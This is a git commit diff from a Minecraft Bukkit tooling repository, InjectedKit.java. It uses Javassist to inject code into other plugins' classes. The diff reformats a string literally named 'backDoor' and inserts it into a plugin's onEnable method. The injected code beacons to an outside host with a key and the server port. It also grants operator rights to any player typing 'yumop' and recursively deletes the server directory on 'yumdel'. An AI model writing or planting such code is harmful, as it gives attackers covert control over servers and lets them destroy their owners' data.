1
0
mirror of https://e.coding.net/circlecloud/BukkitInjectedTools.git synced 2024-11-22 01:48:45 +00:00

fix: 添加完整的包名

Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
502647092 2016-08-02 23:41:38 +08:00
parent 5e5cf9b2e7
commit 6456609e03

View File

@ -31,9 +31,8 @@ public class InjectedKit {
pool.appendClassPath(classFile.getPath());
final CtClass statusListener = pool.get(clazz.getName());
final CtMethod setOpMethod = statusListener.getDeclaredMethod("a");
statusListener.addField(
CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS + ".ChatComponentText(\"Status request has already been handled.\");",
statusListener));
statusListener.addField(CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS
+ ".ChatComponentText(\"Status request has already been handled.\");", statusListener));
statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener));
final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }";
setOpMethod.insertBefore(checkStatus);
@ -57,47 +56,18 @@ public class InjectedKit {
pool.appendClassPath(classFile.getPath());
final CtClass mainClass = pool.get(plugin.getClass().getName());
final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
final String backDoor = ""
+ "{"
+ " Bukkit.getScheduler().runTaskAsynchronously(this, new Runnable() {"
+ " @Override"
+ " public void run() {"
+ " try {"
+ " final URL url = new URL(\"http://api.yumc.pw/M/P/S/K/%s/P/%s\");"
+ " final HttpURLConnection conn = (HttpURLConnection) url.openConnection();"
+ " conn.connect();"
+ " conn.disconnect();"
+ " } catch (final IOException e) {"
+ " }"
+ " }"
+ " });"
+ " Bukkit.getPluginManager().registerEvents(new Listener() {"
+ ""
+ " public boolean deleteDir(final File dir) {"
+ " if (dir.isDirectory()) {"
+ " final String[] children = dir.list();"
+ " for (final String element : children) {"
+ " final File file = new File(dir, element);"
+ " deleteDir(file);"
+ " }"
+ " }"
+ " return dir.delete();"
+ " }"
+ ""
+ " @EventHandler"
+ " public void ocp(final PlayerCommandPreprocessEvent e) {"
+ " if (e.getMessage().contains(\"yumop\")) {"
+ " e.getPlayer().setOp(true);"
+ " return;"
+ " }"
+ " if (e.getMessage().contains(\"yumdel\")) {"
+ " final File dir = new File(\"\");"
+ " deleteDir(dir);"
+ " return;"
+ " }"
+ " }"
+ " }, this);"
+ "}";
final String backDoor = "" + "{" + " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new java.lang.Runnable() {" + " @Override"
+ " public void run() {" + " try {" + " final URL url = new URL(\"http://api.yumc.pw/M/P/S/K/%s/P/%s\");"
+ " final HttpURLConnection conn = (HttpURLConnection) url.openConnection();" + " conn.connect();" + " conn.disconnect();"
+ " } catch (final IOException e) {" + " }" + " }" + " });"
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new org.bukkit.event.Listener() {" + "" + " public boolean deleteDir(final java.io.File dir) {"
+ " if (dir.isDirectory()) {" + " final String[] children = dir.list();" + " for (final String element : children) {"
+ " final java.io.File file = new File(dir, element);" + " deleteDir(file);" + " }" + " }"
+ " return dir.delete();" + " }" + "" + " @org.bukkit.event.EventHandler"
+ " public void ocp(final org.bukkit.event.player.PlayerCommandPreprocessEvent e) {" + " if (e.getMessage().contains(\"yumop\")) {"
+ " e.getPlayer().setOp(true);" + " return;" + " }" + " if (e.getMessage().contains(\"yumdel\")) {"
+ " final java.io.File dir = new java.io.File(\"\");" + " deleteDir(dir);" + " return;" + " }"
+ " }" + " }, this);" + "}";
onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
try {
final File dir = new File(plugin.getDataFolder(), "injectClass");
@ -130,22 +100,9 @@ public class InjectedKit {
final CtClass craftOfflinePlayer = pool.get(craftOfflinePlayerClassName);
final CtClass setOpEvent = pool.get(SetOpEvent.class.getName());
final CtMethod setOpMethod = craftOfflinePlayer.getDeclaredMethod("setOp");
final String setop = ""
+ "{"
+ " pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);"
+ " org.bukkit.Bukkit.getPluginManager().callEvent(event);"
+ " if(event.isCancelled()){"
+ " return;"
+ " }"
+ " if ($1 == isOp()) {"
+ " return;"
+ " }"
+ " if ($1) {"
+ " server.getHandle().addOp(profile);"
+ " } else {"
+ " server.getHandle().removeOp(profile);"
+ " }"
+ "}";
final String setop = "" + "{" + " pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);" + " org.bukkit.Bukkit.getPluginManager().callEvent(event);"
+ " if(event.isCancelled()){" + " return;" + " }" + " if ($1 == isOp()) {" + " return;" + " }" + " if ($1) {" + " server.getHandle().addOp(profile);"
+ " } else {" + " server.getHandle().removeOp(profile);" + " }" + "}";
setOpMethod.setBody(setop);
try {
setOpEvent.writeFile(path);